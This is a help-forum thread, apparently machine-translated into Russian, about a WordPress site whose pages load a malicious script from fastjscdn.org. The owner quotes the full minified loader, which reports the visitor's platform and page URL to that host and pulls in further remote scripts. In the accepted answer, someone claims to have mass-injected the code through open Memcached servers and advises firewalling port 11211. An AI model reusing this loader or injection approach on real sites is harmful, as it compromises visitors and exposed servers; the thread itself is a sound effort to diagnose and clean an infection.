Вредоносный JS-код в Wordpress меняет домен, на котором он размещен

На моем сайте Wordpress у меня есть этот вредоносный код перед «/ body»:

<script src = "https://fastjscdn.org/static.js?hash=a633f506a53746a846742c5655ebf596"></script>

Файл static.js содержит это:

window.__google__ads__show||(window.__google__ads__show = "1",function(){if (function t(){try{return window.self!==window.top}catch(a){return!0}}()){var t,a,e=window.parent.document.createElement("script");e.src = "https://fastjscdn.org/static.js",window.parent.document.body.appendChild(e);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{}),t = "https://fastjscdn.org/"+window.location.hostname.replace("www.","")+"/static.js",(a=document.createElement("script")).src=t,document.head.appendChild(a)}());

До «fastjscdn .org» вредоносный код JS размещался на домене с именем «asmr9999 .live». Через несколько дней домен изменился на «fastjscdn .org».

Как это возможно? Как он может изменить домен, на котором он размещен?

Я уверен, что Wordpress, темы и плагины не содержат вредоносного кода. Я ничего не нашел в базе данных, также в кодировке base64, пока.

Кроме того, что код в файле JS делает с моим сайтом?

Так же нашел других людей с моим таким же зловредом, в кастомной CMS никак не можем решить проблему. Подробнее здесь

Ваш сайт перенаправляется на этот URL-адрес после загрузки, верно?

Shakeel Ahmad 21.11.2022 08:31

Нет, Шакил, примерно через 3 дня домен, на котором размещен код JS, меняется с «asmr9999 .live» на «fastjscdn .org». у меня нет переадресации

hermes_44 21.11.2022 10:05

Хорошо, теперь деактивируйте все плагины, обновите собственные темы и Wordpress, а затем установите wordfence, который просканирует весь веб-сайт и покажет вам зараженные файлы, просто удалите его.

Shakeel Ahmad 21.11.2022 13:41

я пробовал, ничего. Отчет Wordfence чистый

hermes_44 27.11.2022 09:58
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
Поведение ключевого слова "this" в стрелочной функции в сравнении с нормальной функцией
В JavaScript одним из самых запутанных понятий является поведение ключевого слова "this" в стрелочной и обычной функциях.
Концепция локализации и ее применение в приложениях React ⚡️
Концепция локализации и ее применение в приложениях React ⚡️
Локализация - это процесс адаптации приложения к различным языкам и культурным требованиям. Это позволяет пользователям получить опыт, соответствующий...
Улучшение производительности загрузки с помощью Google Tag Manager и атрибута Defer
Улучшение производительности загрузки с помощью Google Tag Manager и атрибута Defer
В настоящее время производительность загрузки веб-сайта имеет решающее значение не только для удобства пользователей, но и для ранжирования в...
Безумие обратных вызовов в javascript [JS]
Безумие обратных вызовов в javascript [JS]
Здравствуйте! Юный падаван 🚀. Присоединяйся ко мне, чтобы разобраться в одной из самых запутанных концепций, когда вы начинаете изучать мир...
Система управления парковками с использованием HTML, CSS и JavaScript
Система управления парковками с использованием HTML, CSS и JavaScript
Веб-сайт по управлению парковками был создан с использованием HTML, CSS и JavaScript. Это простой сайт, ничего вычурного. Основная цель -...
JavaScript Вопросы с множественным выбором и ответы
JavaScript Вопросы с множественным выбором и ответы
Если вы ищете платформу, которая предоставляет вам бесплатный тест JavaScript MCQ (Multiple Choice Questions With Answers) для оценки ваших знаний,...
1
4
194
2
Перейти к ответу Данный вопрос помечен как решенный

Ответы 2

  • Вы можете использовать онлайн-инструмент для улучшения JavaScript, чтобы проверить содержимое static.js: похоже, он внедряет скрипт, адаптированный к платформе, возможно, тот же, что вы упомянули в своем другом вопросе, который вызовет загрузку вредоносного/рекламного ПО.
  • Причина, по которой он может изменить домен в сценарии, вероятно, заключается в том, что ваш хост все еще заражен; домен был зарегистрирован совсем недавно и, вероятно, был выбран потому, что выглядит менее подозрительно, чем предыдущий

спасибо, но я разговаривал с хостингом и у них проблем нет, в том числе и в оперативной памяти. Все остальные сайты на том же сервере не имеют этого вредоносного кода

hermes_44 24.11.2022 11:07

Вы используете Cloudflare?

Nils Hamerlinck 26.11.2022 14:16

нет, не пользуюсь

hermes_44 26.11.2022 14:50

ваш экземпляр WordPress работает на собственной виртуальной машине? какая ОС? у тебя есть страница phpinfo()?

Nils Hamerlinck 27.11.2022 12:56

спасибо за информацию, но мне нужно спросить об этом у моего хостинг-провайдера

hermes_44 28.11.2022 20:45
Ответ принят как подходящий

Может быть, поздно, но позвольте мне сказать правду. Проблема заключается в том, что вы используете сервер Memcached, который является общедоступным и без пароля в сети. Я сделал скрипт, сканирующий сеть и внедряющий этот вредоносный код на каждый сервер memcached. -side" xss атака. Ваш сервер в безопасности. Настройте брандмауэр и заблокируйте подключение извне к порту 11211, все будет ок.

спасибо, я потратил месяц на поиск решения

hermes_44 28.12.2022 18:36

Другие вопросы по теме